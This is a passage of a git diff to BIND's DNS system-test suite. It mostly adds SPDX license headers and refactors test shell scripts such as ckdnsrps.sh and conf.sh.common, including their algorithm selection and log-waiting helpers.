+svcb9		SVCB	0 44._svbc.example.net.
+svcb10		SVCB	7 . alpn="h2,h3" dohpath=/{?dns}
diff --git a/bin/tests/system/checkzone/zones/good1.db b/bin/tests/system/checkzone/zones/good1.db
index f77f3ec226..59eaa54be4 100644
--- a/bin/tests/system/checkzone/zones/good1.db
+++ b/bin/tests/system/checkzone/zones/good1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/inherit.db b/bin/tests/system/checkzone/zones/inherit.db
index 61c9d2a497..e075d416dc 100644
--- a/bin/tests/system/checkzone/zones/inherit.db
+++ b/bin/tests/system/checkzone/zones/inherit.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/nowarn.inherited.owner.db b/bin/tests/system/checkzone/zones/nowarn.inherited.owner.db
index 4083210eb5..db26217c1f 100644
--- a/bin/tests/system/checkzone/zones/nowarn.inherited.owner.db
+++ b/bin/tests/system/checkzone/zones/nowarn.inherited.owner.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/ns-address-below-dname.db b/bin/tests/system/checkzone/zones/ns-address-below-dname.db
index 7e65e577ae..e15ad5cbd2 100644
--- a/bin/tests/system/checkzone/zones/ns-address-below-dname.db
+++ b/bin/tests/system/checkzone/zones/ns-address-below-dname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/spf.db b/bin/tests/system/checkzone/zones/spf.db
index 6c0e7e5512..9527b1bd1c 100644
--- a/bin/tests/system/checkzone/zones/spf.db
+++ b/bin/tests/system/checkzone/zones/spf.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/test1.db b/bin/tests/system/checkzone/zones/test1.db
index bb75d3ce82..55669d764d 100644
--- a/bin/tests/system/checkzone/zones/test1.db
+++ b/bin/tests/system/checkzone/zones/test1.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 600
 @		SOA     ns hostmaster 2012010901 3600 1200 604800 1200
                 NS      ns
diff --git a/bin/tests/system/checkzone/zones/test2.db b/bin/tests/system/checkzone/zones/test2.db
index cee52ca6c5..0cb1184d5f 100644
--- a/bin/tests/system/checkzone/zones/test2.db
+++ b/bin/tests/system/checkzone/zones/test2.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 600
 @		SOA     ns hostmaster 2012010902 3600 1200 604800 1200
                 NS      ns
diff --git a/bin/tests/system/checkzone/zones/warn.inherit.origin.db b/bin/tests/system/checkzone/zones/warn.inherit.origin.db
index 5057cd9536..a348a8f5a4 100644
--- a/bin/tests/system/checkzone/zones/warn.inherit.origin.db
+++ b/bin/tests/system/checkzone/zones/warn.inherit.origin.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/warn.inherited.owner.db b/bin/tests/system/checkzone/zones/warn.inherited.owner.db
index 0879149f6d..dbbd9d1078 100644
--- a/bin/tests/system/checkzone/zones/warn.inherited.owner.db
+++ b/bin/tests/system/checkzone/zones/warn.inherited.owner.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkzone/zones/zone1.db b/bin/tests/system/checkzone/zones/zone1.db
index df9a018b36..c2f395d4b5 100644
--- a/bin/tests/system/checkzone/zones/zone1.db
+++ b/bin/tests/system/checkzone/zones/zone1.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 zone1.com.				      86400 IN SOA	dns1.zone1.com. hostmaster.zone1.com. 2001062501 21600 3600 604800 86400
 zone1.com.				      86400 IN NS	dns1.zone1.com.
 zone1.com.				      86400 IN NS	dns2.zone1.com.
diff --git a/bin/tests/system/ckdnsrps.sh b/bin/tests/system/ckdnsrps.sh
index 755a65075b..1bbf28a97d 100644
--- a/bin/tests/system/ckdnsrps.sh
+++ b/bin/tests/system/ckdnsrps.sh
@@ -1,9 +1,11 @@
-#! /bin/sh
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,9 +14,9 @@
 set -e
 
 # Say on stdout whether to test DNSRPS
-#	and create dnsrps.conf and dnsrps-slave.conf
-# Note that dnsrps.conf and dnsrps-slave.conf are included in named.conf
-#	and differ from dnsrpz.conf which is used by dnsrpzd.
+#	and creates dnsrps.conf
+# Note that dnsrps.conf is included in named.conf
+#	and differs from dnsrpz.conf which is used by dnsrpzd.
 
 
 . ../conf.sh
@@ -24,19 +26,17 @@ DNSRPS_CMD=../rpz/dnsrps
 AS_NS=
 TEST_DNSRPS=
 MCONF=dnsrps.conf
-SCONF=dnsrps-slave.conf
-USAGE="$0: [-xAD] [-M dnsrps.conf] [-S dnsrps-slave.conf]"
+USAGE="$0: [-xAD] [-M dnsrps.conf]"
 while getopts "xADM:S:" c; do
     case $c in
 	x) set -x; DEBUG=-x;;
 	A) AS_NS=yes;;
 	D) TEST_DNSRPS=yes;;
 	M) MCONF="$OPTARG";;
-	S) SCONF="$OPTARG";;
 	*) echo "$USAGE" 1>&2; exit 1;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $(expr $OPTIND - 1 || true)
 if [ "$#" -ne 0 ]; then
     echo "$USAGE" 1>&2
     exit 1
@@ -44,11 +44,9 @@ fi
 
 # erase any existing conf files
 cat /dev/null > $MCONF
-cat /dev/null > $SCONF
 
 add_conf () {
     echo "$*" >>$MCONF
-    echo "$*" >>$SCONF
 }
 
 if ! $FEATURETEST --enable-dnsrps; then
@@ -67,7 +65,7 @@ else
     add_conf "## testing with DNSRPS"
 fi
 
-if [ ! -x $DNSRPS_CMD ]; then
+if [ ! -x "$DNSRPS_CMD" ]; then
     add_conf "## make $DNSRPS_CMD to test DNSRPS"
     add_conf '#skip'
     exit 0
@@ -80,86 +78,6 @@ else
     exit 0
 fi
 
-CMN="	dnsrps-options { dnsrpzd-conf ../dnsrpzd.conf
-			 dnsrpzd-sock ../dnsrpzd.sock
-			 dnsrpzd-rpzf ../dnsrpzd.rpzf
-			 dnsrpzd-args '-dddd -L stdout'
-			 log-level 3"
-
-MASTER="$CMN"
-if [ -n "$AS_NS" ]; then
-    MASTER="$MASTER
-			qname-as-ns yes
-			ip-as-ns yes"
-fi
-
-# write dnsrps settings for master resolver
-cat <<EOF >>$MCONF
-$MASTER };
-EOF
-
-# write dnsrps settings for resolvers that should not start dnsrpzd
-cat <<EOF >>$SCONF
-$CMN
-			dnsrpzd '' };	# do not start dnsrpzd
-EOF
-
-
-# DNSRPS is available.
-# The test should fail if the license is bad.
-add_conf "dnsrps-enable yes;"
-
-# Use alt-dnsrpzd-license.conf if it exists
-CUR_L=dnsrpzd-license-cur.conf
-ALT_L=alt-dnsrpzd-license.conf
-# try ../rpz/alt-dnsrpzd-license.conf if alt-dnsrpzd-license.conf does not exist
-[ -s $ALT_L ] || ALT_L=../rpz/alt-dnsrpzd-license.conf
-if [ -s $ALT_L ]; then
-    SRC_L=$ALT_L
-    USE_ALT=
-else
-    SRC_L=../rpz/dnsrpzd-license.conf
-    USE_ALT="## consider installing alt-dnsrpzd-license.conf"
-fi
-cp $SRC_L $CUR_L
-
-# parse $CUR_L for the license zone name, master IP addresses, and optional
-#   transfer-source IP addresses
-eval `sed -n -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'\
-    -e 's/.*zone *\([-a-z0-9]*.license.fastrpz.com\).*/NAME=\1/p'	\
-    -e 's/.*farsight_fastrpz_license *\([0-9.]*\);.*/IPV4=\1/p'		\
-    -e 's/.*farsight_fastrpz_license *\([0-9a-f:]*\);.*/IPV6=\1/p'	\
-    -e 's/.*transfer-source *\([0-9.]*\);.*/TS4=-b\1/p'			\
-    -e 's/.*transfer-source *\([0-9a-f:]*\);.*/TS6=-b\1/p'		\
-    -e 's/.*transfer-source-v6 *\([0-9a-f:]*\);.*/TS6=-b\1/p'		\
-	$CUR_L`
-if [ -z "$NAME" ]; then
-    add_conf "## no DNSRPS tests; no license domain name in $SRC_L"
-    add_conf '#fail'
-    exit 0
-fi
-if [ -z "$IPV4" ]; then
-    IPV4=license1.fastrpz.com
-    TS4=
-fi
-if [ -z "$IPV6" ]; then
-    IPV6=license1.fastrpz.com
-    TS6=
-fi
-
-# This TSIG key is common and NOT a secret
-KEY='hmac-sha256:farsight_fastrpz_license:f405d02b4c8af54855fcebc1'
-
-# Try IPv4 and then IPv6 to deal with IPv6 tunnel and connectivity problems
-if `$DIG -4 -t axfr -y$KEY $TS4 $NAME @$IPV4				\
-	    | grep -i "^$NAME.*TXT" >/dev/null`; then
-    exit 0
-fi
-if `$DIG -6 -t axfr -y$KEY $TS6 $NAME @$IPV6				\
-	    | grep -i "^$NAME.*TXT" >/dev/null`; then
-    exit 0
-fi
-
-add_conf "## DNSRPS lacks a valid license via $SRC_L"
-[ -z "$USE_ALT" ] || add_conf "$USE_ALT"
-add_conf '#fail'
+add_conf 'dnsrps-options { log-level 3 };'
+add_conf 'dnsrps-enable yes;'
+add_conf 'dnsrps-library "../../rpz/testlib/.libs/libdummyrpz.so";'
diff --git a/bin/tests/system/cleanall.sh b/bin/tests/system/cleanall.sh
index e04eb333f3..5fafffd203 100644
--- a/bin/tests/system/cleanall.sh
+++ b/bin/tests/system/cleanall.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -29,6 +31,5 @@ rm -f ../random.data
 for d in $SUBDIRS
 do
    test ! -f $d/clean.sh || ( cd $d && $SHELL clean.sh )
-   rm -f test.output.$d
    test -d $d && find $d -type d -exec rmdir '{}' \; 2> /dev/null
 done
diff --git a/bin/tests/system/cleanpkcs11.sh b/bin/tests/system/cleanpkcs11.sh
deleted file mode 100644
index bbd98c45c2..0000000000
--- a/bin/tests/system/cleanpkcs11.sh
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ./conf.sh
-
-[ -x "$TOP_BUILDDIR/bin/pkcs11/pkcs11-destroy" ] && $PK11DEL -w0 > /dev/null 2>&1
diff --git a/bin/tests/system/common/controls.conf b/bin/tests/system/common/controls.conf
deleted file mode 100644
index 8cd709cb65..0000000000
--- a/bin/tests/system/common/controls.conf
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.2 port 9953 allow { any; } keys { rndc_key; };
-};
-
diff --git a/bin/tests/system/common/controls.conf.in b/bin/tests/system/common/controls.conf.in
index 69581151d0..1db9286eba 100644
--- a/bin/tests/system/common/controls.conf.in
+++ b/bin/tests/system/common/controls.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/common/rndc.conf b/bin/tests/system/common/rndc.conf
index 8fe0bc3b4f..b887ec3eda 100644
--- a/bin/tests/system/common/rndc.conf
+++ b/bin/tests/system/common/rndc.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/common/rndc.key b/bin/tests/system/common/rndc.key
index b9def8ec5d..3ef41c30f5 100644
--- a/bin/tests/system/common/rndc.key
+++ b/bin/tests/system/common/rndc.key
@@ -3,7 +3,7 @@
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/common/root.hint b/bin/tests/system/common/root.hint
index 418ea963fa..e0f186c2f8 100644
--- a/bin/tests/system/common/root.hint
+++ b/bin/tests/system/common/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/conf.sh.common b/bin/tests/system/conf.sh.common
index cd0838a893..53065625eb 100644
--- a/bin/tests/system/conf.sh.common
+++ b/bin/tests/system/conf.sh.common
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,18 +26,6 @@ export LANG=C
 #
 # Common lists of system tests to run.
 #
-# The "stress" test is not run by default since it creates enough
-# load on the machine to make it unusable to other users.
-# The "dialup", "delzone", and "dupsigs" tests are also not run by
-# default because they take a very long time to complete.
-#
-# The following tests are hard-coded to use ports 5300 and 9953. For
-# this reason, these must be run sequentially.
-#
-# Sequential tests that only run on unix/linux should be added to
-# SEQUENTIAL_UNIX in conf.sh.in
-#
-SEQUENTIAL_COMMON=""
 
 #
 # These tests can use ports assigned by the caller (other than 5300
@@ -49,7 +39,9 @@ SEQUENTIAL_COMMON=""
 # rpzrecurse are scheduled first, in order to get more benefit from
 # parallelism.
 #
-PARALLEL_COMMON="rpzrecurse serve-stale
+PARALLEL_COMMON="
+rpzrecurse
+serve-stale
 acl
 additional
 addzone
@@ -68,7 +60,6 @@ database
 digdelv
 dlz
 dns64
-dscp
 dsdigest
 ecdsa
 eddsa
@@ -138,25 +129,25 @@ zonechecks"
 # Set up color-coded test output
 #
 if [ ${SYSTEMTEST_FORCE_COLOR:-0} -eq 1 ] || test -t 1 && type tput > /dev/null 2>&1 && tput setaf 7 > /dev/null 2>&1 ; then
-    COLOR_END=`tput setaf 4`    # blue
-    COLOR_FAIL=`tput setaf 1`   # red
-    COLOR_INFO=`tput bold`      # bold
-    COLOR_NONE=`tput sgr0`
-    COLOR_PASS=`tput setaf 2`   # green
-    COLOR_START=`tput setaf 4`  # blue
-    COLOR_WARN=`tput setaf 3`   # yellow
+    export COLOR_END=$(tput setaf 4)    # blue
+    export COLOR_FAIL=$(tput setaf 1)   # red
+    export COLOR_INFO=$(tput bold)      # bold
+    export COLOR_NONE=$(tput sgr0)
+    export COLOR_PASS=$(tput setaf 2)   # green
+    export COLOR_START=$(tput setaf 4)  # blue
+    export COLOR_WARN=$(tput setaf 3)   # yellow
 else
     # set to empty strings so printf succeeds
-    COLOR_END=''
-    COLOR_FAIL=''
-    COLOR_INFO=''
-    COLOR_NONE=''
-    COLOR_PASS=''
-    COLOR_START=''
-    COLOR_WARN=''
+    export COLOR_END=''
+    export COLOR_FAIL=''
+    export COLOR_INFO=''
+    export COLOR_NONE=''
+    export COLOR_PASS=''
+    export COLOR_START=''
+    export COLOR_WARN=''
 fi
 
-SYSTESTDIR="`basename $PWD`"
+export SYSTESTDIR="$(basename $PWD)"
 
 if type printf > /dev/null 2>&1
 then
@@ -179,19 +170,19 @@ then
 		printf "${COLOR_END}%s${COLOR_NONE}\n" "$*"
 	}
 	echo_i() {
-	    printf '%s\n' "$*" | while read -r __LINE ; do
+	    printf '%s\n' "$*" | while IFS= read -r __LINE ; do
 	       echoinfo "I:$SYSTESTDIR:$__LINE"
 	    done
 	}
 
 	echo_ic() {
-	    printf '%s\n' "$*" | while read -r __LINE ; do
+	    printf '%s\n' "$*" | while IFS= read -r __LINE ; do
 	       echoinfo "I:$SYSTESTDIR:  $__LINE"
 	    done
 	}
 
 	echo_d() {
-	    printf '%s\n' "$*" | while read -r __LINE ; do
+	    printf '%s\n' "$*" | while IFS= read -r __LINE ; do
 	       echoinfo "D:$SYSTESTDIR:$__LINE"
 	    done
 	}
@@ -216,49 +207,48 @@ else
 	}
 
 	echo_i() {
-	    echo "$@" | while read -r __LINE ; do
+	    echo "$@" | while IFS= read -r __LINE ; do
 	       echoinfo "I:$SYSTESTDIR:$__LINE"
 	    done
 	}
 
 	echo_ic() {
-	    echo "$@" | while read -r __LINE ; do
+	    echo "$@" | while IFS= read -r __LINE ; do
 	       echoinfo "I:$SYSTESTDIR:  $__LINE"
 	    done
 	}
 
 	echo_d() {
-	    echo "$@" | while read -r __LINE ; do
+	    echo "$@" | while IFS= read -r __LINE ; do
 	       echoinfo "D:$SYSTESTDIR:$__LINE"
 	    done
 	}
 fi
 
 cat_i() {
-    while read -r __LINE ; do
+    while IFS= read -r __LINE ; do
        echoinfo "I:$SYSTESTDIR:$__LINE"
     done
 }
 
 cat_d() {
-    while read -r __LINE ; do
+    while IFS= read -r __LINE ; do
        echoinfo "D:$SYSTESTDIR:$__LINE"
     done
 }
 
 digcomp() {
-    output=`$PERL $TOP_SRCDIR/bin/tests/system/digcomp.pl "$@"`
-    result=$?
+    { output=$($PERL $TOP_SRCDIR/bin/tests/system/digcomp.pl "$@"); result=$?; } || true
     [ -n "$output" ] &&  { echo "digcomp failed:"; echo "$output"; } | cat_i
     return $result
 }
 
 start_server() {
-    $PERL "$TOP_SRCDIR/bin/tests/system/start.pl" "$@"
+    $PERL "$TOP_SRCDIR/bin/tests/system/start.pl" "$SYSTESTDIR" "$@"
 }
 
 stop_server() {
-    $PERL "$TOP_SRCDIR/bin/tests/system/stop.pl" "$@"
+    $PERL "$TOP_SRCDIR/bin/tests/system/stop.pl" "$SYSTESTDIR" "$@"
 }
 
 send() {
@@ -269,24 +259,37 @@ send() {
 # Useful variables in test scripts
 #
 
+# The following script sets the following algorithm-related variables. These
+# are selected randomly at runtime from a list of supported algorithms. The
+# randomization is deterministic and remains stable for a period of time for a
+# given platform.
+#
 # Default algorithm for testing.
-DEFAULT_ALGORITHM=ECDSAP256SHA256
-DEFAULT_ALGORITHM_NUMBER=13
-DEFAULT_BITS=256
-
-# This is an alternative algorithm for test cases that require more than
-# one algorithm (for example algorithm rollover).  Must be different from
+# DEFAULT_ALGORITHM
+# DEFAULT_ALGORITHM_NUMBER
+# DEFAULT_BITS
+#
+# This is an alternative algorithm for test cases that require more than one
+# algorithm (for example algorithm rollover). Must be different from
 # DEFAULT_ALGORITHM.
-ALTERNATIVE_ALGORITHM=RSASHA256
-ALTERNATIVE_ALGORITHM_NUMBER=8
-ALTERNATIVE_BITS=1280
+# ALTERNATIVE_ALGORITHM
+# ALTERNATIVE_ALGORITHM_NUMBER
+# ALTERNATIVE_BITS
+#
+# This is an algorithm that is used for tests against the "disable-algorithms"
+# configuration option. Must be different from above algorithms.
+# DISABLED_ALGORITHM
+# DISABLED_ALGORITHM_NUMBER
+# DISABLED_BITS
+#
+# There are multiple algoritms sets to choose from (see get_algorithms.py). To
+# override the default choice, set the ALGORITHM_SET env var (see mkeys system
+# test for example).
+eval "$($PYTHON "$TOP_SRCDIR/bin/tests/system/get_algorithms.py")"
 
-# This is an algorithm that is used for tests against the
-# "disable-algorithms" configuration option.  Must be different from above
-# algorithms.
-DISABLED_ALGORITHM=ECDSAP384SHA384
-DISABLED_ALGORITHM_NUMBER=14
-DISABLED_BITS=384
+# Default HMAC algorithm.
+# also update common/rndc.conf and common/rndc.key when updating DEFAULT_HMAC
+export DEFAULT_HMAC=hmac-sha256
 
 #
 # Useful functions in test scripts
@@ -397,6 +400,22 @@ keyfile_to_key_id() {
 	echo "$1" | sed "s/.*+0\{0,4\}//"
 }
 
+# private_type_record: write a private type record recording the state of the
+# signing process
+#
+# For a given zone ($1), algorithm number ($2) and key file ($3), print the
+# private type record with default type value of 65534, indicating that the
+# signing process for this key is completed.
+private_type_record() {
+        _zone=$1
+        _algorithm=$2
+        _keyfile=$3
+
+        _id=$(keyfile_to_key_id "$_keyfile")
+
+        printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_algorithm" "$_id"
+}
+
 # nextpart*() - functions for reading files incrementally
 #
 # These functions aim to facilitate looking for (or waiting for)
@@ -450,25 +469,25 @@ nextpartreset() {
 
 # nextpartread: read everything that's been appended to a file since the
 # last time nextpart() was called and print it to stdout, print the
-# total number of lines read from that file so far to stderr
+# total number of lines read from that file so far to file descriptor 3
 nextpartread() {
     [ -f $1.prev ] || nextpartreset $1
-    prev=`cat $1.prev`
+    prev=$(cat $1.prev)
     awk "NR > $prev "'{ print }
-	 END          { print NR > "/dev/stderr" }' $1
+	 END          { print NR > "/dev/stderr" }' $1 2>&3
 }
 
 # nextpart: read everything that's been appended to a file since the
 # last time nextpart() was called
 nextpart() {
-	nextpartread $1 2> $1.prev.tmp
+	nextpartread $1 3> $1.prev.tmp
 	mv $1.prev.tmp $1.prev
 }
 
 # nextpartpeek: read everything that's been appended to a file since the
 # last time nextpart() was called
 nextpartpeek() {
-	nextpartread $1 2> /dev/null
+	nextpartread $1 3> /dev/null
 }
 
 # _search_log: look for message $1 in file $2 with nextpart().
@@ -478,6 +497,13 @@ _search_log() (
 	nextpart "$file" | grep -F -e "$msg" > /dev/null
 )
 
+# _search_log_re: same as _search_log but the message is an grep -E regex
+_search_log_re() (
+	msg="$1"
+	file="$2"
+	nextpart "$file" | grep -E -e "$msg" > /dev/null
+)
+
 # _search_log_peek: look for message $1 in file $2 with nextpartpeek().
 _search_log_peek() (
 	msg="$1"
@@ -495,7 +521,17 @@ wait_for_log() (
 	msg="$2"
 	file="$3"
 	retry_quiet "$timeout" _search_log "$msg" "$file" && return 0
-	echo_i "exceeded time limit waiting for '$msg' in $file"
+	echo_i "exceeded time limit waiting for literal '$msg' in $file"
+        return 1
+)
+
+# wait_for_log_re: same as wait_for_log, but the message is an grep -E regex
+wait_for_log_re() (
+	timeout="$1"
+	msg="$2"
+	file="$3"
+	retry_quiet "$timeout" _search_log_re "$msg" "$file" && return 0
+	echo_i "exceeded time limit waiting for regex '$msg' in $file"
         return 1
 )
 
@@ -506,7 +542,7 @@ wait_for_log_peek() (
 	msg="$2"
 	file="$3"
 	retry_quiet "$timeout" _search_log_peek "$msg" "$file" && return 0
-	echo_i "exceeded time limit waiting for '$msg' in $file"
+	echo_i "exceeded time limit waiting for literal '$msg' in $file"
         return 1
 )
 
@@ -560,23 +596,28 @@ _repeat() (
     return 0
 )
 
+_times() {
+	awk "BEGIN{ for(i = 1; i <= $1; i++) print i}";
+}
+
 rndc_reload() {
-    echo_i "`$RNDC -c ../common/rndc.conf -s $2 -p ${CONTROLPORT} reload $3 2>&1 | sed 's/^/'$1' /'`"
